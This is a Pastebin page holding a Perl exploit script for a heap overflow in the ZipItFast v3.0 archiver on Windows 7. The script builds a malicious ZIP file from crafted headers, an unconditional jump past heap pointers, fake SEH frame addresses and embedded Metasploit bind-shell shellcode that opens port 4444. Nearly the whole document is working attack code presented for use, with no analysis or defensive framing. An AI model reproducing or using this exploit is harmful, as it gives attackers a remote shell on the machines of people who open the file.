SHARE
TWEET

ZipItFast Heap Overflow

Souhail_Hammou May 4th, 2014 735 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2. #
  3. #[+]Exploit Title: ZipItFast v3.0 .ZIP File Heap Overflow Exploit
  4. #[+]Date: 04/05/2013
  5. #[+]Author: Souhail Hammou ( POC by : C4SS!0 G0M3S )
  6. #[+]Software Link: http://www.freewarefiles.com/ZipItFast---Zip-It-Free-V_program_22803.html
  7. #[+]Version: v3.0
  8. #[+]Tested On: Windows 7
  9.  
  10. use strict;
  11. use warnings;
  12.  
  13. my $filename = "Exploit.zip";
  14.  
  15.  
  16. my $head = "\x50\x4B\x03\x04\x14\x00\x00".
  17. "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
  18. "\x00\x00\x00\x00\x00\x00\x00\x00" .
  19. "\xe4\x0f" .
  20. "\x00\x00\x00";
  21.  
  22. my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
  23. "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
  24. "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  25. "\xe4\x0f".
  26. "\x00\x00\x00\x00\x00\x00\x01\x00".
  27. "\x24\x00\x00\x00\x00\x00\x00\x00";
  28.  
  29. my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
  30. "\x00\x01\x00\x01\x00".
  31. "\x12\x10\x00\x00".
  32. "\x02\x10\x00\x00".
  33. "\x00\x00";
  34. # an unconditional jump past flink & blink pointers
  35. my $mini = "\x41\x41\x41\x41\xE9\x03\x01\x00\x00";
  36. #Metasploit Bind shellcode 0.0.0.0:4444
  37. my $shellcode = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
  38. "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
  39. "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
  40. "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
  41. "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
  42. "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
  43. "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
  44. "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
  45. "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
  46. "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
  47. "\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" .
  48. "\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" .
  49. "\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" .
  50. "\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" .
  51. "\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" .
  52. "\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" .
  53. "\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" .
  54. "\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" .
  55. "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" .
  56. "\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" .
  57. "\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" .
  58. "\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" .
  59. "\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" .
  60. "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" .
  61. "\x6a\x00\x53\xff\xd5";
  62.  
  63. my $normal = "\x46" x 4064 . ".txt";
  64.  
  65. my $payload = $mini . "\x41" x (256 - length($mini));
  66.                         #SEHFrame-4           #Fake SEHFrame
  67. $payload = $payload . "\xB0\xF4\x18\x00" . "\x50\xF5\x18\x00";
  68. #$payload = $payload . "\x41\x41\x41\x41" . "\x42\x42\x42\x42";
  69. $payload = $payload . "\x41" x (4064 - length($payload) - length($shellcode));
  70. $payload = $payload . $shellcode;
  71. $payload = $payload . ".txt";
  72. my $zip = $head.$normal.$head2.$payload.$head3;
  73. open(FILE,">$filename") || die "[-]Error:\n$!\n";
  74. print FILE $zip;
  75. close(FILE);
  76. print "[+] ZIP File Created With Sucess:)\n";
RAW Paste Data
Top